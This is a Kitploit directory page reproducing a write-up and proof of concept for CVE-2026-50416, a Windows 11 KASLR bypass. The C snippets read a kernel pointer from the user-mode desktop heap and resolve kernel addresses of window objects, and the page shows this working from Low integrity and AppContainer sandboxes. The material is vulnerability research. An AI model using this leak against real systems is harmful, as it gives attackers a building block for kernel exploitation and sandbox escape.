Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: Windows 11 KASLR bypass | Kitploit
Tools/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Exploit FrameworksMemory ForensicsVulnerability AnalysisExploitationInformation GatheringCTFBinary AnalysisPapers & ResearchLearning & Education
Labs & Practice
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: Windows 11 KASLR bypass

View RepositoryWebsite
445131 month agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-50416: One QWORD Too Many in the Desktop Heap

On Windows 11 Insider build 10.0.28020.2149, the user mode mapping of the Win32k desktop heap exposed a raw kernel session pool pointer at offset 0x100.

The read itself is almost offensively small:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

In my test session, that returned:

0xffffc600dcc00040

The value stayed the same across processes on the same desktop and changed after a reboot. A process launched on another desktop received a different value because it had a different desktop heap. From this one QWORD, the PoC recovered the kernel desktop heap base and then used user32!gSharedInfo to derive the kernel addresses of live window objects.

The same read worked from Low integrity, AppContainer, an LPAC configuration with zero capabilities, and a Low integrity AppContainer child with zero capabilities.

The desktop heap is supposed to be shared. The kernel pointer is not.

The desktop heap from user mode

Win32k stores USER objects such as windows, menus, classes, hooks, and related metadata in desktop heaps. Each desktop has its own heap. Part of that heap is mapped into processes associated with the desktop so user mode can read shared GUI state without asking the kernel for every field.

On the tested x64 build, the user mode mapping can be reached through the current thread's TEB client data:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

The offsets are build specific, but the route is simple:

GS:[0x30]
    -> TEB
    -> ClientInfo at TEB + 0x800
    -> ClientInfo[5]
    -> user mode desktop heap mapping

The PoC calls VirtualQuery on the returned address and records the mapped region and its protection. Nothing has gone wrong yet. A read-only desktop heap mapping is normal Win32k behavior.

The problem begins 256 bytes into it.

The pointer at offset 0x100

The main PoC reads one QWORD from the mapped heap:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

The value passed the basic checks expected from a kernel virtual address on the tested system:

  • Canonical high bits
  • Eight byte alignment
  • Not one of the known sentinel values filtered by the PoC
  • Stable while windows were created and destroyed
  • Identical in tested processes on the same desktop
  • Different after reboot
  • Different on another desktop

The stability test creates STATIC, BUTTON, and EDIT windows, reads the value before creation, reads it again while the windows exist, destroys them, and reads it a third time.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

All three reads returned the same value. Window allocation activity did not move it. That behavior is consistent with a field in the desktop heap metadata rather than a short-lived object pointer.

The cross-process property is just as important. Two processes attached to the same desktop observe the same leaked value because they are looking at the same desktop heap. After a reboot, KASLR gives the session a new address. A child placed on another desktop observes another pointer because that desktop owns another heap.

That gives the leak a useful identity:

same boot + same desktop      -> same pointer
same boot + different desktop -> different pointer
new boot                       -> different pointer

Recovering the kernel desktop heap base

On the tested build, the leaked pointer sits 0x40 bytes above the kernel desktop heap base used by the PoC:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Using the recorded session value:

leaked pointer            = 0xffffc600dcc00040
kernel desktop heap base  = 0xffffc600dcc00000

This relationship is build specific. For the build used during testing, it gives the kernel-side anchor needed for the next step.

One pointer is already useful. An address for a chosen object is much more useful.

Resolving a window object through gSharedInfo

user32.dll exports gSharedInfo, which exposes the USER handle entry list and the size of each entry:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

An HWND contains an index into the USER handle table. The PoC takes the low 16 bits of the handle, walks to the matching entry, and reads the desktop heap offset stored there.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

The same offset names the object in both mappings:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

So the full calculation is:

kernel desktop heap base = desktop_heap[0x100] - 0x40
handle index              = HWND & 0xffff
heap offset               = aheList[handle index].offset
kernel window address     = kernel desktop heap base + heap offset

The PoC creates six window classes and performs the calculation for each one:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

For every object, it prints the HWND, handle index, user mode object address, heap offset, and kernel address.

HWND
  -> low 16-bit handle index
  -> gSharedInfo handle entry
  -> desktop heap offset
  -> kernel desktop heap base + offset
  -> kernel address of that window object

This is the part that turns the disclosure from a loose kernel pointer into an address oracle for selected USER objects on the tested desktop heap.

Why the sandbox tests matter

The desktop heap arrives through a shared mapping. Integrity levels and AppContainer restrictions do not rewrite the contents of that mapping for each process. If the process receives the desktop heap, it receives the QWORD at 0x100 with it.

The sandbox PoC launches children in several contexts and makes each child read the value from its own TEB and its own desktop heap mapping.

ContextConfigurationResult
Medium integrityStandard user processLeaked
Low integrityToken integrity lowered to LowLeaked
AppContainerZero requested capabilitiesLeaked
LPAC configurationAll application packages opt-out policy, zero requested capabilitiesLeaked
Low integrity AppContainerLow IL plus AppContainer, zero requested capabilitiesLeaked
Alternate desktopChild assigned to a new desktopLeaked a different value

The first five children were attached to the default desktop and returned the same address. The alternate desktop child returned another address because it received another desktop heap.

The child output has a compact format so the parent can compare results:

RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

The stricter helper also records the token state and capability count:

RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
Download Tool